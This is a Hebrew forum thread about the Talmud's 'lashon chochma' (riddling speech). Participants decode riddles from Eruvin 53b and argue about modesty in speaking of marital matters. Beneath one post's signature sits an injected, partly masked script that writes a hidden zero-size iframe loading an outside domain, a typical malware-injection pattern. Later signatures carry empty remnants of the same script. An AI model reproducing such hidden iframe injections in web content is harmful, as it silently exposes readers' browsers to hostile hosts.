| נשלח ב-30/4/2013 14:50 |
 |
| |
לשון חכמה: האם יש התייחסות ל*** בתלמוד?
כמה פעמים בעבר העליתי את הטענה כי הקדושה והצניעות של התורה ושל עם ישראל באו לידי ביטוי בלשון נקיה ובהימנעות מדיון בנושאים ש... הצניעות יפה להם. בינו לבינה והמסתעף.
יש יוצאי דופן, ולכן הצעתי לערוך רשימה שלהם ולעיין בהם.
הדף היומי הביא לנו דוגמא שלא זכרתי.
רקע: במקום זה מלוקטות מימרות שעוסקות בנושאי שימוש בשפה בכלל ובנושאי שימוש מתוחכם בשפה בפרט.
כדאי להבהיר גם למה הכוונה ב"שימוש מתוחכם". מן הדוגמאות נראה שמדובר בשימוש בביטויים עוקפים, ברמזים או במליצות כדי להעביר מסר למי שהמסר מיועד לו, בעוד האחרים לא יבינו. לחילופין, יתכן שמדובר בחידה שהאומר מייעד לשומע.
הנה הדוגמאות שמופיעות שם.
תלמוד בבלי מסכת עירובין דף נג עמוד ב
א. אמהתא דבי רבי כי הוה משתעיא בלשון חכמה אמרה הכי: עלת נקפת בכד, ידאון נישריא לקיניהון. וכד הוה בעי דליתבון, הוה אמרה להו: יעדי בתר חברתה מינה, ותתקפי עלת בכד כאילפא דאזלא בימא.
ב. רבי יוסי בר אסיין, כי הוה משתעי בלשון חכמה אמר: עשו לי שור במשפט בטור מסכן. ג. וכד הוה שאיל באושפיזא אמר הכי: גבר פום דין חי, מה זו טובה יש? ד. רבי אבהו כי הוה משתעי בלשון חכמה הוה אמר הכי: אתריגו לפחמין, ארקיעו לזהבין, ועשו לי שני מגידי בעלטה. איכא דאמרי: ויעשו לי בהן שני מגידי בעלטה. ה. אמרו ליה רבנן לרבי אבהו: הצפיננו היכן רבי אלעאי צפון! - אמר להן: עלץ בנערה אהרונית אחרונית עירנית והנעירתו. אמרי לה: אשה, ואמרי לה: מסכתא. ו. אמרי ליה לרבי אלעאי: הצפיננו היכן רבי אבהו [צפון]! - אמר להן: נתייעץ במכתיר, והנגיב למפיבשת.
אנסה לבאר את הלשונות ולפיהן ננסה לקבוע את כללי השימוש בלשון חכמה. הדוגמאות אינן ברורות מאליהן, ואני הולך לפי שיטת שוטנשטיין שידוע הולכים בדרכו של רש"י.
(כבר נפלתי במלכודת של צמידות לפרש"י על חשבון פירושים אחרים באשכול אחר בנושא ***...).
א. שפחתו של רבי
שפחתו של רבי ידועה בחכמתה ויש עליה מעשים שונים. אולי כדאי להקדיש לה אשכול.
במקום זה ניתן להבין מן הסיפור ששפחתו של רבי היתה מרמזת לאורחים מתי להישאר בסעודה כי צפויה מנה נוספת - לפי הפירוש, של יין - ומתי הגיעה השעה לפרוש.
זה מעורר שאלות רבות, כמו מי היא שתקבע. לענייננו איני בא להכריע לגבי סמכותה ודמותה. ניתן לפרש שעשתה זאת על דעתו של רבי וכבר מצאנו שעבד או משרת חכם, אפילו גוי לפעמים, יכול לקבל סמכויות מרחיקות לכת.
יש כאן שני מצבים.
בראשון המתועד כאן, השפחה רוצה שילכו הביתה. לכן היא מרמזת שהגיע הזמן שהנשרים יעופו לקיניהם. כלומר, מי שהוא חשוב כנשר יחזור לביתו. שוטנשטיין: התלמידים.
למעשה, אם מאפיינים את התלמידים כ"נשרים" זה תואר כבוד עבורם, ואין הם תלמידים סתם.
המשל ניתן לפיענוח על ידי המילון:
נשר = תלמיד.
קן = הביתה.
המשל השני בא לרמז, לפי שוטנשטיין, שהשפחה רצתה שיישארו והבטיחה להם יין.
כאשר תסולק חברתה ממנה, תתקפי אותה בכד כספינה השטה בים. (התירגום לא ברור לי והלכתי שוב על פי שוטנשטיין).
שוטנשטיין פירשו שמדובר בהסרת כיסוי חבית כדי לשאוב ממנה יין לאחר שקודמתה התרוקנה.
הדיון מעניין כאן לגבי נושא שדן בו ספראי בפירושו למשנה, כלומר סדר הסעודה המוגשת לאורחים בחברה התנאית. אני רק מזכיר את הדבר.
שוב, יש כאן משל שמבוסס על מילון, אבל איני יודע לפרש. יש להניח שהתלמידים היו יודעים.
מדוע נקטה השפחה לשון חכמה? יתכן שהמידע היה מיועד לתלמידים החכמים ולא לאורחים אחרים. יתכן שהיא העדיפה להביע את דעתה בלשון מרומזת כי זו לא דרך ארץ ששפחה תחלק הוראות לתלמידי חכמים. יתכן שהיא רצתה לנסותם ואולי על פי הסכמתו של רבי?
לפי האפשרות של עדיפות הלשון המרומזת, ניתן לשייך את הנידון גם לתוכחה שנאמרה לר' יהושע בהמשך הסוגיה בידי בעלת הבית (שרמזה לו בסעודה מלוחה מדי שאכל יותר מדי בפעמים הקודמות), וכן לתגובתה של ברוריה המבקרת בלשון חריפה אחד התנאים, חברו של בעלה.
ב. ר' יוסי בר אסיין
הבקשה הראשונה, לפי שוטנשטיין, היא לקבל תרד עם חרדל.
הפיענוח נעשה כמו "תשבץ תרתי משמע" בזמננו. כלומר, יש למצוא מילים נרדפות ואז לסדר את המשפט מחדש.
שור משפט = תור דין
בטור מסכן - בתר דל
אם משחקים עם האותיות מקבלים: תרדין בחרדל.
כאשר רצה לומר או לשאול לגבי פונדק, היה אומר:
גבר פום דין חי מה זו טובה יש?
גבר פום דין חי = איש פי זה - האם הוא חי?
איש פי זה = אושפיזא.
השאלה נמשכת: מה זו טובה יש?
מדוע העדיף ר' יוסי בר אסיין להתבטא כך? למי היו השאלות מיועדות? האם הן נועדו למנוע דליפת מידע לשומע מהצד? האם הן נועדו לנסות את הנמען?
ג. רבי אבהו מזמין סעודה
בדומה לדוגמא הקודמת, גם ר' אבהו, מגדולי האמוראים בארץ ישראל ובעל מעמד גם בין השליטים הרומאים, היה מזמין סעודה בלשון חכמה.
אתריגו לפחמין
ארקיע לזהבין
ועשו לי שני מגידי בעלטה
כאן הפתרון יותר קל מאשר בדוגמא הקודמת וזה דומה לחידת הנשרים של השפחה.
גרמו לפחמים שיהיו בצבע תרוג ורקעו את הזהב - משל שפירושו העלו אש בפחמים. כלומר - חממו לצלות.
מגידי עלטה - תרנגולים, המעירים את השחר.
יש לשים לב שרבי אבהו הזמין שני תרנגולים גם יחד. איני יודע מה היה גודל תרנגול בזמנו ואם התכוון לעצמו או גם לאורחים. אם הזמין מנה גדולה, יתכן שלכן ניסח את הדברים בשפת "חכמה"...
ה. חילופי החידות של רבי אבהו ורבי אילעי
מתוך הסיפור כאן נראה שהיו קשורים ביניהם. עובדה ששאלו חכמים את האחד לגבי מקום הימצאו של זולתו.
נתחיל מהסוף.
שאלות את רבי אלעי היכן רבי אבהו. ענה להם
נתייעץ במכתיר - הנשיא
והנגיב למפיבשת - יצא לנגב לחכמי הדרום.
כלומר יצא לדרום על פי אישור הנשיא. איני יודע מדוע "מפיבשת = חכמים" אבל אני משער שרש"י פירש לפי ההקשר.
זה קל יחסית וחידת סמלים.
החלק הראשון:
שאלו את רבי אבהו היכן רבי אילעי
ענה:
עלץ בנערה אהרונית אחרונית ועירנית והנעירתו.
לפי שוטנשטיין יש כאן שני פירושים:
השני מציע כך:
עלץ = שמח
נערה = מסכת.
אהרונית = בדיני קודשים.
אחרונית = האחרונה שעסק בה.
עירנית = מעוררת ענין.
והנעירתו = נשאר ער בגללה כל הלילה (ולכן אינו בישיבה כעת).
אבל הפירוש הראשון בעייתי מאד.
עלץ = שמח
נערה = אשה
אהרונית = בת למשפחת כהנים
אחרונית = אשתו החדשה
עירנית = מעוררת ענין.
והנעירתו = נשאר ער בגללה כל הלילה (ולכן אינו בישיבה כעת).
האם כך ראוי לומר על תלמיד חכם, שבגלל נישואיו והסיבה שבשלה כלה נכנסת לחופה (ואין לפרט) נשאר ער כל הלילה?
כמובן, אפשר שמסיבה זו ענה רבי אבהו בלשון חכמה. ועדיין נוצר רושם, לפחות עבורי, שלא כך היה ראוי לומר. יש אפילו לשאול אם אין בזה לשון הרע או רכילות...
_______תוקנה טעות הקלדה ונוספה הבהרה__________
שומר פיו ולשונו - שומר מצרות נפשו
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");
תוקן על ידי מיימוני ב- 30/04/2013 14:55:00
 |
|
|
|
|
| נשלח ב-30/4/2013 15:44 |
|
| |
תרומה קטנה. שבת דף קנב . אמר ליה קיסר לרבי יהושע בן חנניה: מאי טעמא לא אתית לבי אבידן? אמר ליה: טור תלג סחרוני גלידין, כלבוהי לא נבחין, טחנוהי לא טוחנין. בי רב אמרי: אדלא אבידנא בחישנא. תניא, רבי יוסי בר קיסמא אומר: טבא תרי מתלת, ווי לה לחדא דאזלא ולא אתיא. מאי היא? - אמר רב חסדא: ינקותא. כי אתא רב דימי אמר: ינקותא - כלילא דוורדא, סבותא - כלילא דחילפא. אמר ליה רבי לרבי שמעון בן חלפתא: מפני מה לא הקבלנו פניך ברגל, כדרך שהקבילו אבותי לאבותיך? - אמר ליה: סלעים נעשו גבוהים, קרובים נעשו רחוקים, משתים נעשו שלש, משים שלום בבית בטל.
תוקן על ידי ירוחםשמ ב- 30/04/2013 15:47:18
|
|
|
|
| נשלח ב-30/4/2013 16:27 |
|
| |
נראה שהפתרון לחידה הזו נמצא במעשה דרב כהנא שהסתתר תחת מיטתו של רב בשעת תשמיש וא"ל רב לאו אורח ארעא והשיב לו תורה היא וללמוד אני צריך. ודו"ק. (ובהזדמנות ארחיב אי"ה)
תוקן על ידי חכםועניו ב- 30/04/2013 16:28:03
|
|
|
|
| נשלח ב-30/4/2013 16:31 |
|
| |
מיימוני - שכחת שאם נוהגים דיני טומאה וטהרה, כולם יודעים מתי אשה נידה, כולם יודעים שאדם הוא בעל קרי.
|
|
|
|
| נשלח ב-30/4/2013 16:53 |
|
| |
תוקן על ידי חכםועניו ב- 30/04/2013 16:57:59
|
|
|
|
| נשלח ב-30/4/2013 16:55 |
|
| |
| צופרהנעמתי כתב: |  | | מיימוני - שכחת שאם נוהגים דיני טומאה וטהרה, כולם יודעים מתי אשה נידה, כולם יודעים שאדם הוא בעל קרי. |
|
צופר שכחת א.שלא יודעים בדיוק מתי ליל טבילה ב.שאפי' אם ידעו לא צריך לדבר על זה, עיין ב"מ (כב) דמשני רבנן במלייהו בפוריא ובפירש"י שם, ובכתובות (ח) הכל יודעים כו' עיי"ש
|
|
|
|
| נשלח ב-30/4/2013 17:04 |
|
| |
ברכות כב ע"א -מעשה ברבי יהודה שראה קרי והיה מהלך על גב הנהר אמרו לו תלמידיו רבינו שנה לנו פרק אחד בהלכות דרך ארץ ירד וטבל ושנה להם אמרו לו לא כך למדתנו רבינו שונה הוא בהלכות דרך ארץ אמר להם אע"פ שמיקל אני על אחרים מחמיר אני על עצמי
|
|
|
|
| נשלח ב-30/4/2013 19:12 |
|
| |
צופר - לא ענית על השאלה שלי, האם זה לדעתך יפה לתאר בפרוטרוט שהוא נהנה עם אשתו אתמול ולכן לא הגיע לביה"מ?
אמנם דעתי בענין שכל פעם שרצו למוד מזה תורה דיברו על זה (וכמו רופא שאין בזה שום פסול כשהוא מדבר לשם רפואה) ולכן שאלו אותו "לא כך לימדתנו?"
וכן במקרה של הנערה רצו ללמד שמותר משום זה לבטל מבית המדררש אף שבדר"כ חז"ל הפליגו מאד בעניין ביטול ביה"מ.
|
|
|
|
| נשלח ב-30/4/2013 20:53 |
|
| |
מיימוני. (תודה על קבלת הפנים. פעם שניה אגב.)
להוסיף על שאלתך,
שהרי בפירוש איתמר (בב"מ כג:)
בהני תלת מילי עבידי רבנן דמשנו במלייהו במסכת ובפוריא.
פירש"י. בפוריא - שימשת מטתך יאמר לאו, מדת צניעות הוא.
ולפלא שמה שהקפידו על עצמם לא יקפידו על זולתם.
נקודה נוספת בשולי הדברים.
משמע מהגמ' בקידושין דף ע
(...א"ל יתיב מר אקרפיטא א"ל ומי סני ספסל דאמור רבנן או איצטבא דאמרי אינשי, ושאר הדוגמאות שם)
שהקפידו על צורת התבטאות מכובדת גם במילי דעלמא
למרות שעל מנת לקנטר אמר לו כך, מ"מ משמע שזה היה הנורמה המקובלת שם.
|
|
|
|
| נשלח ב-30/4/2013 21:24 |
|
| |
תודה לכל המגיבים
כמדומה שלא יודעים מתי אדם בעל קרי.
מעשה בתלמיד אחד שהיה מגמגם ליד רבי יהודה. עד שאמר לו שאין דברי תורה מקבלים טומאה. כלומר שהבין רבי יהודה שהיה בעל קרי.
יש לנו מעשים להיפוך, אבל איני יודע אם ניתן להסיק מהם איך זה קרה ואיך זה נודע.
דומה שצדקו הכותבים כאן, איקון ירוק לכולם, שאין דרך ארץ לגלות ליל טבילה או תשמיש. ועל כן יש להקשות מכאן בבירור על הפירוש הראשון לשיטת רש"י. ואין לי תשובה.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-30/4/2013 22:09 |
|
| |
אוצר הגאונים לברכות, עמ' 55:וזכורים אנו כמה שבתות ממר רב אהרן ג א ו ן ז״ל שהיינו מתפללין בביתו והוא יושב מן התפילה עד הערב .
למה אשתך/בתך לא השתתפה השנה בסדר ליל פסח? תשלימו את התשובה לבד. השאלה תשאל גם על סעודת שבת בבית חבר, לא יצטרכו לתת תשובה אם החברה מופרדת טוטלית. מה אתם מעדיפים?
|
|
|
|
| נשלח ב-1/5/2013 20:40 |
|
| |
מו"נ ח"ג פרק ח'.
|
|
|
|
|
| נשלח ב-1/5/2013 22:41 |
|
| |
הייתי רוצה לשאול פה משהו , אבל אוף.. אני הבת היחידה פה
אבל משהו לא קשור לאשכול , מיימוני מזה אומר אייקון ירוק?
|
|
|
|
| נשלח ב-1/5/2013 23:10 |
|
| |
| michal7700 כתב: | |
אבל משהו לא קשור לאשכול , מיימוני מזה אומר אייקון ירוק?
|
|
אייקון ירוק יחידי מציין
"מצאתי את דבר העונה מעניין".
ואם יחבב במיוחד העונים,
אולי אף יכתוב "קח פה שני חופנים".
|
|
|
|
| נשלח ב-1/5/2013 23:20 |
|
| |
תוקן על ידי מנהלי_משנה ב- 02/05/2013 12:56:46
|
|
|
|
| נשלח ב-2/5/2013 06:56 |
|
| |
שיבולייהו
תודה על ההסבר המחודד.
***
מיכל
כדי להביע הסכמה והערכה, ניתן להשתמש במילים. יש מילים שונות לאותה מטרה. כמו "שכוייח" החרדי ו"מחיאות כפים סוערות" ועוד.
היום, אולי מאז פרוץ הפייסבוק, יש סמל של "לייק", (=אוהב).
בשעתו, באכסניה המארחת שלנו שנקראה "הייד פארק" (ומאז נמכרה או התחלקה), היה אוסף של איקונים, סמלונים כאלו. עד היום ניתן לנסות להיכנס אליהם על ידי לחיצה על סמלון צהוב בחלונית התגובה. (נסי ותראי).
כדי לבטא הערכה, היה סמלון קטן של סמיילי ירוק.
היתה תקופה שאי אפשר היה ליצור את הסמל הזה. היתה מישהי שהציעה לכתוב את הסמל במילים. וכך נוצר הרגל.
כלומר היתה כאן התפתחות מעניינת מבחינה לשונית (סמיוטית?). מילה הפכה לסמל שחזר ותורגם למילים.
מדוע ממשיכים באיקון ירוק במקום ב"לייק"? איני יודע. אולי שמרנות, אולי גאווה מקומית בביטוי שנולד אצלנו?
אבל טוב ששאלת. וזו גם דוגמא שצריך לשאול על כל דבר, כי לא הביישן למד.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
